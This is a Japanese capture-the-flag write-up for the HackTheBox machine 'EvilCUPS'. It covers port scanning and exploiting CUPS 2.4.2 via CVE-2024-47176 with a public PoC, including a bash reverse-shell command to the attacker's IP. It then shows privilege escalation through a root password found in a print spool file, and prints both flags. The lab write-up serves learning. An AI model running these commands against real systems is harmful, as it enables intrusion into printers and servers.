【HackTheBox】EvilCUPS：Writeup

# 概要

HackTheBox「EvilCUPS」のWriteupです。

https://app.hackthebox.com/machines/EvilCUPS

# User Flag

ポートスキャンを実行します。

```
$ nmap -Pn -sVC -T4 -A --min-rate 5000 -p- 10.10.11.40 -oN nmap_result
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
|_  256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
631/tcp open  ipp     CUPS 2.4
|_http-title: Home - CUPS 2.4.2
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 9.2p1|
|631|ipp|CUPS 2.4|

`631`ポートにアクセスします。

![631 home.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3ec9b555-cc07-e9ec-aef2-90379c2d01eb.jpeg)

`CUPS 2.4.2`の脆弱性を検索すると`CVE-2024-47176`が見つかりました。

https://nvd.nist.gov/vuln/detail/CVE-2024-47176

この脆弱性を悪用することでRCEができるようです。
攻撃には下記リポジトリを使用します。

https://github.com/ippsec/evil-cups

Netcatでリッスンします。

```
$ nc -lnvp 1234                                          
listening on [any] 1234 ...
```

PoCを実行します。

```
$ python evilcups.py 10.10.14.84 10.10.11.40 'bash -c "bash -i >& /dev/tcp/10.10.14.84/1234 0>&1"'
```

`/printers`を見るとプリンターが追加されています。

![prints.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a78d1988-b1b6-2304-1546-62436bda3f7c.jpeg)

追加されたプリンターで`Print Test Page`をクリックするとリバースシェルが張れます。

![print test page.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/fca9a4b8-c190-0322-90fe-c3b6a1ad3826.jpeg)

```
$ nc -lnvp 1234                                          
listening on [any] 1234 ...
connect to [10.10.14.84] from (UNKNOWN) [10.10.11.40] 47826
bash: cannot set terminal process group (1789): Inappropriate ioctl for device
bash: no job control in this shell
lp@evilcups:/$
```

TTYの設定をします。

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

`/home/htb/user.txt`からユーザーフラグを入手できました。

```/home/htb/user.txt
a1e37aa0091c96493b2f015e6042c322
```

# Root Flag

元々ターゲットの環境には`Canon_MB2300_series`というプリンターがありました。
ドキュメントによると印刷ジョブファイルは`/var/spool/cups`に保存されるようです。

また、データファイルが`d00001-001`,`d99999-001`,`d100000-001`のような形式で保存されることも分かりました。

https://www.cups.org/doc/spec-design.html

`/var/spool/cups`は権限がないのでディレクトリの中を見られませんでした。

```
lp@evilcups:/var/spool/cups$ ls -la
ls -la
ls: cannot open directory '.': Permission denied

lp@evilcups:/var/spool/cups$ ls -la ../
ls -la ../
total 24
drwxr-xr-x  6 root root 4096 Sep 30 19:55 .
drwxr-xr-x 11 root root 4096 Sep 28 10:02 ..
drwxr-xr-x  3 root root 4096 Sep 28 10:02 cron
drwx--x---  3 root lp   4096 Oct  4 03:38 cups
drwxr-xr-x  2 lp   lp   4096 Sep 30 19:55 lpd
lrwxrwxrwx  1 root root    7 Sep 27 21:03 mail -> ../mail
drwx------  2 root root 4096 Feb 22  2023 rsyslog
```

元々のプリンターには完了したジョブID-1があります。
なのでファイル名が`d00001-001`になると予測できます。

![show active job.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/96f4be0d-0246-62a9-1a88-5aeb366fe791.jpeg)

なので`/var/spool/cups/d00001-001`ファイルを読み取ります。

```
(省略)

_S
18 36 translate
/pagenum 1 def
/fname (pass.txt) def
/fdir (.) def
/ftail (pass.txt) def
% User defined strings:
/fmodstr (Sat Sep 28 09:30:10 2024) def
/pagenumstr (1) def
/user_header_p false def
/user_footer_p false def
%%EndPageSetup
do_header
5 742 M
(Br3@k-G!@ss-r00t-evilcups) s
_R
S

(省略)
```

出力結果からパスワードらしき文字列を発見できたのでrootアカウントへログインを試みると成功しました。

```
$ su root
su root
Password: Br3@k-G!@ss-r00t-evilcups

root@evilcups:/var/spool/cups#
```

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
b22dc8db095caa23bb8883dd4153cbb4
```